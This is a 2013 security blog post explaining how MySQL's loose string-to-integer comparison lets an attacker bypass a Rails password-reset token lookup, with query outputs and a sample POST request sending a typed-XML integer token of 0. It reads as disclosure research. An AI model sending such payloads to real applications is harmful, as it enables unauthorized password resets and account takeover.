Tue Feb 5 15:06:48 UTC 2013

MySQL madness and Rails

A pretty common technique for password resets in web applications is to send out a token via email to the user. This token lets the user reset the password right away.

In Ruby on Rails such a reset process would roughly look like this:

# PasswordController

def reset
  user = User.find_by_token(params[:user][:token])
  if user
    #reset password here
  end
end
Such a token like the one pulled out of params in the code above typically is a random string, for now let's just assume this string is "IAmARandomToken".

Go home MySQL, you are drunk!

[FX edit: MySQL should train drinking with Phenoelit]
Next step: Let's look at MySQL and how it magically typecasts:

mysql> SELECT 123 FROM dual WHERE 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 1="1";
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 1="1somestring";
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 1="somestring";
Empty set, 1 warning (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 0="somestring";
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set, 1 warning (0.00 sec)

Application of this:

Main point is here that there is some severe magic in how strings and integers are compared. Now let's use this typecasting to find(_by_token) some users. Since CVE-2013-0156 a lot of people have become aware of typed XML in Ruby on Rails. Typed XML basically let's you give an XML node a type like "boolean" or "integer" with the "type" attribute in the XML node. Rails then will magically typecast those attributes for you.

Exploiting the above password reset mechanism becomes straight forward using typed XML; we would just POST something like:

POST /user/password/reset
[...]
Content-Type: text/xml

<user><token type="integer">0</token>[...]</user>
In this example now the integer "0" would match the string "IAmARandomToken" on the MySQL backend, and we're in =)

This technique however does not work on Postgres or SQLite. Exploitation of this issue via JSON is also possible as JSON as well can encode integers.

Further Reading

Here are some other applications of MySQL typecasting

BTW:

I disclosed this flaw to the RoR security team, but this issue wont be fixed for now :-/.


Posted by joernchen | Permanent link